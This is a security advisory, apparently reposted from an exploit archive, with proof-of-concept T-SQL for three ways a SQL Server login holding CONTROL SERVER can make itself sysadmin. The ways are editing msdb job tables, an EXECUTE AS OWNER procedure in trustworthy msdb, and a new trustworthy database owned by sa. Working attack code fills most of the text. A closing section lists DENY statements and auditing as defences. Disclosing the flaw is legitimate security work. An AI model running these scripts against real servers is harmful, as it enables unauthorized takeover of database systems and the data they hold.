## https://sploitus.com/exploit?id=PACKETSTORM:189090
Title: Microsoft SQL Server Privilege Escalation from Control Server To Sysadmin role
Product: Microsoft SQL Server
Affected Version(s): sql server 2016,2017,2019,2022
Risk Level: Medium
Author of Advisory: Emad Al-Mousa
Overview:
Privilege escalation is one of the most common exploit techniques hackers use to abuse and take over critical systems, database systems are very important to be protected against
such attacks.
*****************************************
Exploit Summary Details:
3 novel techniques exploits can be used to abuse control server permission in SQL Server to escalate/elevate to SYSADMIN role. control server permission is powerful permission yet not at
the same level of SYSADMIN role.
*****************************************
Proof of Concept (PoC):
Exploit Technique 1: Direct Modification into MSDB database tables
As an account with CONTROL SERVER ROLEâŚ.you can add the login as database user at MSDB level but canât grant any database role directly to it:
USE [msdb]
GO
CREATE USER [rico] FOR LOGIN [rico]
GO
After database user account creation successfully completed, I will try to add it to db_owner role:
USE [msdb]
GO
ALTER ROLE [db_owner] ADD MEMBER [rico]
GO
The following error will be thrown:
Msg 15151, Level 16, State 1, Line 3
Cannot alter the role âdb_ownerâ, because it does not exist or you do not have permission.
However I still can elevate to SYSADMIN Role through direct system tables modification in MSDB database:
For the sake of a proof of concept I will create a dummy job in SQL Server Instance and call it âTestâ using the below code:
USE [msdb]
GO
BEGIN TRANSACTION
DECLARE @ReturnCode INT
SELECT @ReturnCode = 0
IF NOT EXISTS (SELECT name FROM msdb.dbo.syscategories WHERE name=N'[Uncategorized (Local)]â AND category_class=1)
BEGIN
EXEC @ReturnCode = msdb.dbo.sp_add_category @class=NâJOBâ, @type=NâLOCALâ, @name=N'[Uncategorized (Local)]â
IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback
END
DECLARE @jobId BINARY(16)
EXEC @ReturnCode = msdb.dbo.sp_add_job @job_name=NâTestâ,
@enabled=1,
@notify_level_eventlog=0,
@notify_level_email=0,
@notify_level_netsend=0,
@notify_level_page=0,
@delete_level=0,
@description=NâNo description available.â,
@category_name=N'[Uncategorized (Local)]â,
@owner_login_name=Nâsaâ, @job_id = @jobId OUTPUT
IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback
EXEC @ReturnCode = msdb.dbo.sp_add_jobstep @job_id=@jobId, @step_name=Nâelevate_meâ,
@step_id=1,
@cmdexec_success_code=0,
@on_success_action=1,
@on_success_step_id=0,
@on_fail_action=2,
@on_fail_step_id=0,
@retry_attempts=0,
@retry_interval=0,
@os_run_priority=0, @subsystem=NâTSQLâ,
@command=NâXXXXXXXXXXXXXXXXXXXXXXâ,
@database_name=Nâmasterâ,
@flags=0
IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback
EXEC @ReturnCode = msdb.dbo.sp_update_job @job_id = @jobId, @start_step_id = 1
IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback
EXEC @ReturnCode = msdb.dbo.sp_add_jobschedule @job_id=@jobId, @name=Nârunâ,
@enabled=1,
@freq_type=4,
@freq_interval=1,
@freq_subday_type=2,
@freq_subday_interval=10,
@freq_relative_interval=0,
@freq_recurrence_factor=0,
@active_start_date=20231015,
@active_end_date=99991231,
@active_start_time=0,
@active_end_time=235959,
@schedule_uid=Nâ6986b644-3356-4750-a140-00193274d23dâ
IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback
EXEC @ReturnCode = msdb.dbo.sp_add_jobserver @job_id = @jobId, @server_name = N'(local)â
IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback
COMMIT TRANSACTION
GOTO EndSave
QuitWithRollback:
IF (@@TRANCOUNT > 0) ROLLBACK TRANSACTION
EndSave:
GO
// I will be able to query the list of Jobs
select * from [msdb].[dbo].[sysjobs];
//I will change the ownership of the job Test to be âsaâ account using the below update statement
update [msdb].[dbo].[sysjobs] set owner_sid=0x01 where name='Test';
// I will retrieve information about job Test using job_id value
SELECT * FROM [msdb].[dbo].[sysjobsteps] where job_id=âA4592896-4688-4DCC-B63E-813BE71A7EDDâ;
// I will update the code of the job step to elevate/escalate permission
update [msdb].[dbo].[sysjobsteps] set command='ALTER SERVER ROLE [sysadmin] ADD MEMBER [rico] ' where job_id='29027CCB-EA4E-4ADA-B175-F2BF534FE30E';
And thatâs itâŚ.account âricoâ will be escalated to SYSADMIN role in the next scheduled time for the job âTestâ.
Exploit Technique 2: Code Injection In MSDB database to exploit trustworthy property
USE [msdb]
GO
CREATE USER [rico] FOR LOGIN [rico]
GO
USE [msdb]
GO
create or alter procedure dbo.elevate_me
with execute as owner
as alter server role sysadmin add member rico;
GO
USE [msdb]
GO
exec dbo.elevate_me;
And thatâs it[refresh your connection]âŚdatabase login rico is now elevated from CONTROL SERVER to SYSADMIN role.
Exploit Technique 3: DB Creation with Trustworthy Property
As login rico I will create a database and set trustworthy of the database to âonâ and add the login as database user to escalate to sysadmin role as it will be presented here:
create database TEST55;
ALTER DATABASE TEST55 SET TRUSTWORTHY ON;
USE [TEST55]
GO
ALTER AUTHORIZATION ON DATABASE::[TEST55] TO [sa]
GO
USE [TEST55]
GO
CREATE USER [rico] FOR LOGIN [rico]
GO
USE [TEST55]
GO
create or alter procedure dbo.elevate_me
with execute as owner
as alter server role sysadmin add member rico;
GO
USE [TEST55]
GO
exec dbo.elevate_me;
And thatâs itâŚdatabase login rico is now elevated from CONTROL SERVER to SYSADMIN role.
********************************************************************************************************************************
Can these exploits be blocked if there is a need to have an account with control server permission and restrict it from being abused for privilege escalation ?
Answer: Yes.
Exploit techniques 2 and 3 can be blocked if the following permissions were âdeniedâ from the login with CONTROL SERVER securable.
use [master]
GO
DENY ALTER ANY DATABASE TO [rico]
GO
use [master]
GO
DENY CREATE ANY DATABASE TO [rico]
GO
use [master]
GO
DENY IMPERSONATE ANY LOGIN TO [rico]
GO
Exploit technique 1 can be blocked when denying it permissions at MSDB database user level:
USE [msdb]
GO
CREATE USER [rico] FOR LOGIN [rico]
GO
use [msdb]
GO
DENY ALTER TO [rico]
GO
use [msdb]
GO
DENY DELETE TO [rico]
GO
use [msdb]
GO
DENY EXECUTE TO [rico]
GO
use [msdb]
GO
DENY INSERT TO [rico]
GO
use [msdb]
GO
DENY UPDATE TO [rico]
GO
Conclusions:
- Control server is powerful securable but not at the same level of sysadmin role [ canât execute certain procedures, canât execute DBCC commands, and canât view or have direct interface with agent jobs].
- The presented exploits shows weaknesses that should be prevented in the first place. The idea of having/granting a securable to a sql server login and this login can easily escalate to âSYSADMINâ role is not acceptable from security design perspective and is a big security hole that requires serious review. Any database role should be confined with limited scope of power so attackers canât abuse it.
- Auditing is always the best approach to detect privilege escalation attacks.
*****************************************
References:
https://databasesecurityninja.wordpress.com/2025/02/07/privilege-escalation-from-control-server-to-sysadmin-role/
https://learn.microsoft.com/en-us/sql/ssms/agent/implement-sql-server-agent-security?view=sql-server-ver16
https://learn.microsoft.com/en-us/sql/relational-databases/security/trustworthy-database-property?view=sql-server-ver16